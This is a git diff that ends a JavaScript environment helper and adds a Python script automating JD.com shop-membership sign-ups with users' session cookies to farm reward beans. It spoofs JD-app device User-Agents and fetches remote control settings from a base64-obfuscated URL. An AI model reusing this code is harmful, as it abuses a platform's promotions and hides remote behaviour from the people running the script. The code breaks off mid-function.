/^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/backUp/jd_OpenCard.py b/backUp/jd_OpenCard.py new file mode 100644 index 0000000..2c2a968 --- /dev/null +++ b/backUp/jd_OpenCard.py @@ -0,0 +1,1300 @@ +#!/bin/env python3 +# -*- coding: utf-8 -* +''' +项目名称: JD_OpenCard +Author: Curtin +功能:JD入会开卡领取京豆 +CreateDate: 2021/5/4 下午1:47 +UpdateTime: 2021/6/19 +''' +version = 'v1.2.2' +readmes = """ +# JD入会领豆小程序 +![JD入会领豆小程序](https://raw.githubusercontent.com/curtinlv/JD-Script/main/OpenCrad/resultCount.png) + +## 使用方法 +#### [手机用户(参考) https://mp.weixin.qq.com/s/ih6aOURXWM-iKrhvMyR3mw](https://mp.weixin.qq.com/s/ih6aOURXWM-iKrhvMyR3mw) +#### [PC用户 (参考) https://mp.weixin.qq.com/s/JmLxAecZAlEc4L2sZWnn1A](https://mp.weixin.qq.com/s/JmLxAecZAlEc4L2sZWnn1A) +#### [v4-bot用户 (参考) https://github.com/curtinlv/JD-Script/pull/12#issue-652134788](https://github.com/curtinlv/JD-Script/pull/12#issue-652134788) + +## 目录结构 + JD-Script/ #仓库 + |-- LICENSE + |-- OpenCard # 主目录 + | |-- jd_OpenCard.py # 主代码 (必要) + | |-- log # 临时目录(可删除) + | |-- OpenCardConfig.ini # 只配置文件(必要) + | |-- Readme.md # 说明书 + | `-- start.sh # shell脚本(非必要) + `-- README.md + + log目录结构、临时目录(可删除): + log + ├── memory.json # 记忆、统计功能临时存放参数 + ├── shopid-2021-05-23.txt # 记录所有送豆的shopid + ├── 入会N豆以上的shopid-2021-05-23.txt # 记录满足入会条件的shopid + ├── 入会汇总.txt # 记录所有入会店铺送豆的加入、注销链接 + ├── 可退会账号【账号id】.txt # 记录跑脚本之前已经过入会且目前送豆的注销链接(可优先退会) + +### `【兼容环境】` + 1.Python3.3+ 环境 + 2.兼容ios设备软件:Pythonista 3、Pyto(已测试正常跑,其他软件自行测试) + 3.Windows exe + + 安装依赖模块 : + pip3 install requests + 执行: + python3 jd_OpenCard.py + + start.sh 脚本运行方法: + 1.适合定时任务或不想依赖ini配置文件。 + 2.支持单号跑多开,如 + cp start.sh start_2.sh + sh start_2.sh #只跑里面配置的参数,如cookie + 3.定时任务(参考): + 0 8 * * * sh /home/curtin/JD-Script/OpenCard/start.sh + 2 8 * * * sh /home/curtin/JD-Script/OpenCard/start_2.sh + +## `【更新记录】` + 2021.6.19: (v1.2.2) + * 修复多线程报错 + 2021.6.14: (v1.2.1) + * 新增单双线程控制 + * 修复一些问题,如腾讯云跑异常报错。 + 2021.5.28:(v1.2.0) + * 新增单或多账号并发 + - Concurrent=yes #开启 + * 新增企业微信、Bark推送 + * 优化一些逻辑 + - 如随机账号查询礼包,仅开启单账号时候 + - 京豆统计 + 2021.5.23:(v1.1.1) + * 修复一些问题及优化一些代码 + * 修复Env环境读取变量问题 + * 新增 start.sh 运行脚本(可Env环境使用) + - 运行方式 sh start.sh + 2021.5.21:(v1.1.0) + * 修复一些问题及优化一些代码: + - 修复最后统计显示为0,新增开卡个数统计 + - 修复记忆功能一些bug + - 等等一些小问题 + * 新增机器人通知 + - 开启远程shopid、配合crontab 坐等收豆 + 2021.5.15:(v1.0.5) + * 新增远程获取shopid功能 + - isRemoteSid=yes #开启 + * 修改已知Bug + + 2021.5.9:(v1.0.4 Beta) + * 优化代码逻辑 + * 打包exe版本测试 + + 2021.5.8:(v1.0.3) + * 优化记忆功能逻辑: + - cookiek个数检测 + - shopid个数检测 + - 上一次中断最后记录的账号id检测不存在本次ck里面 + - 临时文件log/memory.json是否存在 + - 以上任意一条命中则记忆接力功能不生效。 + + 2021.5.7:(v1.0.2) + * 优化代码逻辑 + * 修复已知Bug + + 2021.5.5:(v1.0.1) + * 新增记忆功能,如中断后下次跑会接着力跑(默认开启) + - memory= True + * 新增仅记录shopid,不入会功能(默认关闭) + - onlyRecord = no + * 修复已知Bug + + 2021.5.4:(v1.0.0) + * 支持多账号 + - JD_COOKIE=pt_key=xxx;pt_pin=xxx;&pt_key=xxx;pt_pin=xxx; #多账号&分隔 + * 限制京豆数量入会,例如只入50豆以上 + - openCardBean = 50 + * 双线程运行 + - 默认开启,且您没得选择。 + * 记录满足条件的shopid 【record= True】默认开启 (./log 目录可删除) + - log/可销卡汇总.txt #记录开卡送豆的店铺销卡链接 + - log/shopid-yyyy-mm-dd.txt #记录当天所有入会送豆的shopid + - log/可销卡账号xxx.txt #记录账号可销卡的店铺 + +### `【账号参数配置说明】` +### 主配置文件[ OpenCardConfig.ini ] 请保持utf-8默认格式 + + 变量 | 值 | 说明 + ---- | ----- | ------ + JD_COOKIE | pt_key=xxx;pt_pin=xxx; | 必要(多账号&分隔) + openCardBean | 30 | int,入会送豆满足此值,否则不入会 + record | False或True | 布尔值,是否记录符合条件的shopid(默认True) + onlyRecord | False或True |布尔值, True:仅记录,不入会(默认False) + memory | False或True | 布尔值,开启记忆功能,接力上一次异常中断位置继续。(默认yes) + printlog | False或True | 布尔值,True:只打印部分日志 False:打印所有日志 + sleepNum | False或True | Float,限制速度,单位秒,如果请求过快报错适当调整0.5秒以上 + isRemoteSid | False或True | 布尔值,True:使用作者远程仓库更新的id,False:使用本地shopid.txt的id +#### 兼容Env环境(如有配置则优先使用,适合AC、云服务环境等) + export JD_COOKIE='pt_key=xxx;pt_pin=xxx;' (多账号&分隔) + export openCardBean=30 + export xxx=xxx + +#### Ps:您可以到以下途径获取最新的shopid.txt,定期更新: + +###### [GitHub仓库 https://github.com/curtinlv/JD-Script](https://github.com/curtinlv/JD-Script) +###### [Gitee仓库 https://gitee.com/curtinlv/JD-Script](https://gitee.com/curtinlv/JD-Script) +###### [TG频道 https://t.me/TopStyle2021](https://t.me/TopStyle2021) +###### [TG群 https://t.me/topStyle996](https://t.me/topStyle996) +###### 关注公众号【TopStyle】回复:shopid +![TopStyle](https://gitee.com/curtinlv/img/raw/master/gzhcode.jpg) +# + @Last Version: %s + + @Last Time: 2021-06-19 13:55 + + @Author: Curtin +#### **仅以学习交流为主,请勿商业用途、禁止违反国家法律 ,转载请留个名字,谢谢!** + +# End. +[回到顶部](#readme) +""" % version + +################################ 【Main】################################ +import time, os, sys, datetime +import requests +import random, string +import re, json, base64 +from urllib.parse import unquote, quote_plus +from threading import Thread +from configparser import RawConfigParser + +# 定义一些要用到参数 +requests.packages.urllib3.disable_warnings() +scriptHeader = """ +════════════════════════════════════════ +║ ║ +║ JD 入 会 领 豆 ║ +║ ║ +════════════════════════════════════════ +@Version: {}""".format(version) +remarks = '\n\n\tTG交流 : https://t.me/topstyle996\n\n\tTG频道 : https://t.me/TopStyle2021\n\n\t公众号 : TopStyle\n\n\t\t\t--By Curtin\n' + +timestamp = int(round(time.time() * 1000)) +today = datetime.datetime.now().strftime('%Y-%m-%d') +# 获取当前工作目录 +pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep + +###### +openCardBean = 0 +sleepNum = 0.0 +record = True +onlyRecord = False +memory = True +printlog = True +isRemoteSid = True +Concurrent = True +TG_BOT_TOKEN = '' +TG_USER_ID = '' +PUSH_PLUS_TOKEN = '' +TG_PROXY_IP = '' +TG_PROXY_PORT = '' +TG_API_HOST = '' +QYWX_AM = '' +BARK = '' +DoubleThread = True + +# 获取账号参数 +try: + configinfo = RawConfigParser() + try: + configinfo.read(pwd + "OpenCardConfig.ini", encoding="UTF-8") + except Exception as e: + with open(pwd + "OpenCardConfig.ini", "r", encoding="UTF-8") as config: + getConfig = config.read().encode('utf-8').decode('utf-8-sig') + with open(pwd + "OpenCardConfig.ini", "w", encoding="UTF-8") as config: + config.write(getConfig) + try: + configinfo.read(pwd + "OpenCardConfig.ini", encoding="UTF-8") + except: + configinfo.read(pwd + "OpenCardConfig.ini", encoding="gbk") + cookies = configinfo.get('main', 'JD_COOKIE') + openCardBean = configinfo.getint('main', 'openCardBean') + sleepNum = configinfo.getfloat('main', 'sleepNum') + record = configinfo.getboolean('main', 'record') + onlyRecord = configinfo.getboolean('main', 'onlyRecord') + memory = configinfo.getboolean('main', 'memory') + printlog = configinfo.getboolean('main', 'printlog') + isRemoteSid = configinfo.getboolean('main', 'isRemoteSid') + TG_BOT_TOKEN = configinfo.get('main', 'TG_BOT_TOKEN') + TG_USER_ID = configinfo.get('main', 'TG_USER_ID') + PUSH_PLUS_TOKEN = configinfo.get('main', 'PUSH_PLUS_TOKEN') + TG_PROXY_IP = configinfo.get('main', 'TG_PROXY_IP') + TG_PROXY_PORT = configinfo.get('main', 'TG_PROXY_PORT') + TG_API_HOST = configinfo.get('main', 'TG_API_HOST') + QYWX_AM = configinfo.get('main', 'QYWX_AM') + Concurrent = configinfo.getboolean('main', 'Concurrent') + DoubleThread = configinfo.getboolean('main', 'DoubleThread') + BARK = configinfo.get('main', 'BARK') +except Exception as e: + OpenCardConfigLabel = 1 + print("参数配置有误,请检查OpenCardConfig.ini\nError:", e) + print("尝试从Env环境获取!") + +def getBool(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + else: + return True + except Exception as e: + print(e) + +# 获取系统ENV环境参数优先使用 适合Ac、云服务等环境 +# JD_COOKIE=cookie (多账号&分隔) +if "JD_COOKIE" in os.environ: + if len(os.environ["JD_COOKIE"]) > 10: + cookies = os.environ["JD_COOKIE"] + print("已获取并使用Env环境 Cookie") +# 只入送豆数量大于此值 +if "openCardBean" in os.environ: + if len(os.environ["openCardBean"]) > 0: + openCardBean = int(os.environ["openCardBean"]) + print("已获取并使用Env环境 openCardBean:", openCardBean) + elif not openCardBean: + openCardBean = 0 +# 是否开启双线程 +if "DoubleThread" in os.environ: + if len(os.environ["DoubleThread"]) > 1: + DoubleThread = getBool(os.environ["DoubleThread"]) + print("已获取并使用Env环境 DoubleThread", DoubleThread) +# 多账号并发 +if "Concurrent" in os.environ: + if len(os.environ["Concurrent"]) > 1: + Concurrent = getBool(os.environ["Concurrent"]) + print("已获取并使用Env环境 Concurrent", Concurrent) + elif not Concurrent: + Concurrent = True +# 限制速度,单位秒,如果请求过快报错适当调整0.5秒以上 +if "sleepNum" in os.environ: + if len(os.environ["sleepNum"]) > 0: + sleepNum = float(os.environ["sleepNum"]) + print("已获取并使用Env环境 sleepNum:", sleepNum) + elif not sleepNum: + sleepNum = 0 +if "printlog" in os.environ: + if len(os.environ["printlog"]) > 1: + printlog = getBool(os.environ["printlog"]) + print("已获取并使用Env环境 printlog:", printlog) + elif not printlog: + printlog = True + # 是否记录符合条件的shopid,输出文件【OpenCardlog/yes_shopid.txt】 False|True +if "record" in os.environ: + if len(os.environ["record"]) > 1: + record = getBool(os.environ["record"]) + print("已获取并使用Env环境 record:", record) + elif not record: + record = True +# 仅记录,不入会。入会有豆的shopid输出文件 +if "onlyRecord" in os.environ: + if len(os.environ["onlyRecord"]) > 1: + onlyRecord = getBool(os.environ["onlyRecord"]) + print("已获取并使用Env环境 onlyRecord:", onlyRecord) + elif not onlyRecord: + onlyRecord = False +# 开启记忆, 需要record=True且 memory= True 才生效 +if "memory" in os.environ: + if len(os.environ["memory"]) > 1: + memory = getBool(os.environ["memory"]) + print("已获取并使用Env环境 memory:", memory) + elif not memory: + memory = True +# 是否启用远程shopid +if "isRemoteSid" in os.environ: + if len(os.environ["isRemoteSid"]) > 1: + isRemoteSid = getBool(os.environ["isRemoteSid"]) + print("已获取并使用Env环境 isRemoteSid:", isRemoteSid) + elif not isRemoteSid: + isRemoteSid = True +# 获取TG_BOT_TOKEN +if "TG_BOT_TOKEN" in os.environ: + if len(os.environ["TG_BOT_TOKEN"]) > 1: + TG_BOT_TOKEN = os.environ["TG_BOT_TOKEN"] + print("已获取并使用Env环境 TG_BOT_TOKEN") +# 获取TG_USER_ID +if "TG_USER_ID" in os.environ: + if len(os.environ["TG_USER_ID"]) > 1: + TG_USER_ID = os.environ["TG_USER_ID"] + print("已获取并使用Env环境 TG_USER_ID") +# 获取代理ip +if "TG_PROXY_IP" in os.environ: + if len(os.environ["TG_PROXY_IP"]) > 1: + TG_PROXY_IP = os.environ["TG_PROXY_IP"] + print("已获取并使用Env环境 TG_PROXY_IP") +# 获取TG 代理端口 +if "TG_PROXY_PORT" in os.environ: + if len(os.environ["TG_PROXY_PORT"]) > 1: + TG_PROXY_PORT = os.environ["TG_PROXY_PORT"] + print("已获取并使用Env环境 TG_PROXY_PORT") + elif not TG_PROXY_PORT: + TG_PROXY_PORT = '' +# 获取TG TG_API_HOST +if "TG_API_HOST" in os.environ: + if len(os.environ["TG_API_HOST"]) > 1: + TG_API_HOST = os.environ["TG_API_HOST"] + print("已获取并使用Env环境 TG_API_HOST") +# 获取pushplus+ PUSH_PLUS_TOKEN +if "PUSH_PLUS_TOKEN" in os.environ: + if len(os.environ["PUSH_PLUS_TOKEN"]) > 1: + PUSH_PLUS_TOKEN = os.environ["PUSH_PLUS_TOKEN"] + print("已获取并使用Env环境 PUSH_PLUS_TOKEN") +# 获取企业微信应用推送 QYWX_AM +if "QYWX_AM" in os.environ: + if len(os.environ["QYWX_AM"]) > 1: + QYWX_AM = os.environ["QYWX_AM"] + print("已获取并使用Env环境 QYWX_AM") +# 获取企业微信应用推送 QYWX_AM +if "BARK" in os.environ: + if len(os.environ["BARK"]) > 1: + BARK = os.environ["BARK"] + print("已获取并使用Env环境 BARK") +# 判断参数是否存在 +try: + cookies +except NameError as e: + var_exists = False + print("[OpenCardConfig.ini] 和 [Env环境] 都无法获取到您的cookies,请配置!\nError:", e) + time.sleep(60) + exit(1) +else: + var_exists = True + +# 创建临时目录 +if not os.path.exists(pwd + "log"): + os.mkdir(pwd + "log") +# 记录功能json +memoryJson = {} +message_info = '' +notify_mode = [] + +################################### Function ################################ +class TaskThread(Thread): + """ + 处理task相关的线程类 + """ + + def __init__(self, func, args=()): + super(TaskThread, self).__init__() + self.func = func # 要执行的task类型 + self.args = args # 要传入的参数 + + def run(self): + self.result = self.func(*self.args) # 将任务执行结果赋值给self.result变量 + + def get_result(self): + # 改方法返回task函数的执行结果,方法名不是非要get_result + try: + return self.result + except Exception as ex: + print(ex) + return "ERROR" + +def nowtime(): + return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + + +def printinfo(context, label: bool): + if label == False: + print(context) + +def exitCodeFun(code): + try: + if sys.platform == 'win32' or sys.platform == 'cygwin': + print("连按回车键即可退出窗口!") + exitCode = input() + exit(code) + except: + time.sleep(3) + exit(code) + +def message(str_msg): + global message_info + print(str_msg) + message_info = "{}\n{}".format(message_info, str_msg) + sys.stdout.flush() + +# 获取通知, +if PUSH_PLUS_TOKEN: + notify_mode.append('pushplus') +if TG_BOT_TOKEN and TG_USER_ID: + notify_mode.append('telegram_bot') +if QYWX_AM: + notify_mode.append('wecom_app') +if BARK: + notify_mode.append('bark') + +# tg通知 +def telegram_bot(title, content): + try: + print("\n") + bot_token = TG_BOT_TOKEN + user_id = TG_USER_ID + if not bot_token or not user_id: + print("tg服务的bot_token或者user_id未设置!!\n取消推送") + return + print("tg服务启动") + if TG_API_HOST: + if 'http' in TG_API_HOST: + url = f"{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage" + + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + payload = {'chat_id': str(TG_USER_ID), 'text': f'{title}\n\n{content}', 'disable_web_page_preview': 'true'} + proxies = None + if TG_PROXY_IP and TG_PROXY_PORT: + proxyStr = "http://{}:{}".format(TG_PROXY_IP, TG_PROXY_PORT) + proxies = {"http": proxyStr, "https": proxyStr} + try: + response = requests.post(url=url, headers=headers, params=payload, proxies=proxies).json() + except: + print('推送失败!') + if response['ok']: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + +# push推送 +def pushplus_bot(title, content): + try: + print("\n") + if not PUSH_PLUS_TOKEN: + print("PUSHPLUS服务的token未设置!!\n取消推送") + return + print("PUSHPLUS服务启动") + url = 'http://www.pushplus.plus/send' + data = { + "token": PUSH_PLUS_TOKEN, + "title": title, + "content": content + } + body = json.dumps(data).encode(encoding='utf-8') + headers = {'Content-Type': 'application/json'} + response = requests.post(url=url, data=body, headers=headers).json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + +# BARK +def bark_push(title, content): + print("\n") + if not BARK: + print("bark服务的bark_token未设置!!\n取消推送") + return + print("bark服务启动") + try: + response = requests.get('''https://api.day.app/{0}/{1}/{2}'''.format(BARK, title, quote_plus(content))).json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + print('Bark推送失败!') + +def send(title, content): + """ + 使用 bark, telegram bot, dingding bot, serverJ 发送手机推送 + :param title: + :param content: + :return: + """ + content = content + "\n\n" + footer + for i in notify_mode: + + if i == 'telegram_bot': + if TG_BOT_TOKEN and TG_USER_ID: + telegram_bot(title=title, content=content) + else: + print('未启用 telegram机器人') + continue + elif i == 'pushplus': + if PUSH_PLUS_TOKEN: + pushplus_bot(title=title, content=content) + else: + print('未启用 PUSHPLUS机器人') + continue + elif i == 'wecom_app': + if QYWX_AM: + wecom_app(title=title, content=content) + else: + print('未启用企业微信应用消息推送') + continue + elif i == 'bark': + if BARK: + bark_push(title=title, content=content) + else: + print('未启用Bark APP应用消息推送') + continue + else: + print('此类推送方式不存在') + +# 企业微信 APP 推送 +def wecom_app(title, content): + try: + if not QYWX_AM: + print("QYWX_AM 并未设置!!\n取消推送") + return + QYWX_AM_AY = re.split(',', QYWX_AM) + if 4 < len(QYWX_AM_AY) > 5: + print("QYWX_AM 设置错误!!\n取消推送") + return + corpid = QYWX_AM_AY[0] + corpsecret = QYWX_AM_AY[1] + touser = QYWX_AM_AY[2] + agentid = QYWX_AM_AY[3] + try: + media_id = QYWX_AM_AY[4] + except: + media_id = '' + wx = WeCom(corpid, corpsecret, agentid) + # 如果没有配置 media_id 默认就以 text 方式发送 + if not media_id: + message = title + '\n\n' + content + response = wx.send_text(message, touser) + else: + response = wx.send_mpnews(title, content, media_id, touser) + if response == 'ok': + print('推送成功!') + else: + print('推送失败!错误信息如下:\n', response) + except Exception as e: + print(e) + +class WeCom: + def __init__(self, corpid, corpsecret, agentid): + self.CORPID = corpid + self.CORPSECRET = corpsecret + self.AGENTID = agentid + + def get_access_token(self): + url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken' + values = {'corpid': self.CORPID, + 'corpsecret': self.CORPSECRET, + } + req = requests.post(url, params=values) + data = json.loads(req.text) + return data["access_token"] + + def send_text(self, message, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "text", + "agentid": self.AGENTID, + "text": { + "content": message + }, + "safe": "0" + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + + def send_mpnews(self, title, message, media_id, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "mpnews", + "agentid": self.AGENTID, + "mpnews": { + "articles": [ + { + "title": title, + "thumb_media_id": media_id, + "author": "Author", + "content_source_url": "", + "content": message.replace('\n', '
'), + "digest": message + } + ] + } + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + +# 检测cookie格式是否正确 +def iscookie(): + """ + :return: cookiesList,userNameList,pinNameList + """ + cookiesList = [] + userNameList = [] + pinNameList = [] + if 'pt_key=' in cookies and 'pt_pin=' in cookies: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + result = r.findall(cookies) + if len(result) >= 1: + message("您已配置{}个账号".format(len(result))) + u = 1 + for i in result: + r = re.compile(r"pt_pin=(.*?);") + pinName = r.findall(i) + pinName = unquote(pinName[0]) + # 获取账号名 + ck, nickname = getUserInfo(i, pinName, u) + if nickname != False: + cookiesList.append(ck) + userNameList.append(nickname) + pinNameList.append(pinName) + else: + u += 1 + continue + u += 1 + if len(cookiesList) > 0 and len(userNameList) > 0: + return cookiesList, userNameList, pinNameList + else: + message("没有可用Cookie,已退出") + exitCodeFun(3) + else: + message("cookie 格式错误!...本次操作已退出") + exitCodeFun(4) + else: + message("cookie 格式错误!...本次操作已退出") + exitCodeFun(4) + +# 检查是否有更新版本 + +def gettext(url): + try: + resp = requests.get(url, timeout=60).text + if '该内容无法显示' in resp: + return gettext(url) + return resp + except Exception as e: + print(e) + +def isUpdate(): + global footer, readme1, readme2, readme3, uPversion + url = base64.decodebytes( + b"aHR0cHM6Ly9naXRlZS5jb20vY3VydGlubHYvUHVibGljL3Jhdy9tYXN0ZXIvT3BlbkNhcmQvdXBkYXRlLmpzb24=") + try: + result = gettext(url) + result = json.loads(result) + isEnable = result['isEnable'] + uPversion = result['version'] + info = result['info'] + readme1 = result['readme1'] + readme2 = result['readme2'] + readme3 = result['readme3'] + pError = result['m'] + footer = result['footer'] + getWait = result['s'] + if isEnable > 50 and isEnable < 150: + if version != uPversion: + print(f"\n当前最新版本:【{uPversion}】\n\n{info}\n") + message(f"{readme1}{readme2}{readme3}") + time.sleep(getWait) + else: + message(f"{readme1}{readme2}{readme3}") + time.sleep(getWait) + else: + print(pError) + time.sleep(300) + exit(666) + + except: + message("请检查您的环境/版本是否正常!") + time.sleep(10) + exit(666) + +def getUserInfo(ck, pinName, userNum): + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=GetJDUserInfoUnion' + headers = { + 'Cookie': ck, + 'Accept': '*/*', + 'Connection': 'close', + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'me-api.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', + 'Accept-Language': 'zh-cn' + } + try: + resp = requests.get(url=url, verify=False, headers=headers, timeout=60).text + r = re.compile(r'GetJDUserInfoUnion.*?\((.*?)\)') + result = r.findall(resp) + userInfo = json.loads(result[0]) + nickname = userInfo['data']['userInfo']['baseInfo']['nickname'] + return ck, nickname + except Exception: + context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" + message(context) + send("【JD入会领豆】Cookie 已失效!", context) + return ck, False + +# 设置Headers +def setHeaders(cookie, intype): + if intype == 'mall': + headers = { + + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Host": "mall.jd.com", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "close" + } + return headers + elif intype == 'JDApp': + headers = { + 'Cookie': cookie, + 'Accept': "*/*", + 'Connection': "close", + 'Referer': "https://shopmember.m.jd.com/shopcard/?", + 'Accept-Encoding': "gzip, deflate, br", + 'Host': "api.m.jd.com", + 'User-Agent': "jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'Accept-Language': "zh-cn" + } + return headers + elif intype == 'mh5': + headers = { + 